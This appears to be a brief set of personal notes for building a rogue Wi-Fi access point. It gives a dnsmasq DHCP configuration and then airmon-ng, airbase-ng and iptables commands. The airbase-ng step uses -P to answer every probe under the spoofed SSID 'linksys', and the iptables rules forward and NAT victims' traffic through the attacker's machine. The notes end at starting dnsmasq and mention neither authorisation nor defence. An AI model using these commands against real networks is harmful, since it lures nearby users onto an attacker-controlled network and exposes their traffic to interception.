# If you want dnsmasq to listen for DHCP and DNS requests only on
# specified interfaces (and the loopback) give the name of the
# interface (eg eth0) here.
# Repeat the line for more than one interface.
interface=at0
#interface=wlan0mon
#interface=wlan0

# Uncomment this to enable the integrated DHCP server, you need
# to supply the range of addresses available for lease and optionally
# a lease time. If you have more than one network, you will need to
# repeat this for each network on which you want to supply DHCP
# service.
dhcp-range=10.10.10.50,10.10.10.150,12h

Start airmon-ng on wlan0
airmon-ng start wlan0

Start Airbase with your defined SSID.  The -P will cause Airbase to attempt negotiation of all received beacons. This will also create a bridge interface (at0)

airbase-ng -P -C 30 -e "linksys" -v wlan0mon

Add and set the configuration of the at0
ifconfig at0 up 10.10.10.1 netmask 255.255.255.0

Setup Traffic Forwarding
modprobe iptable_nat
iptables -A FORWARD -i wlan0mon -j ACCEPT
iptables -A FORWARD -i at0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

Start DNSMASQ
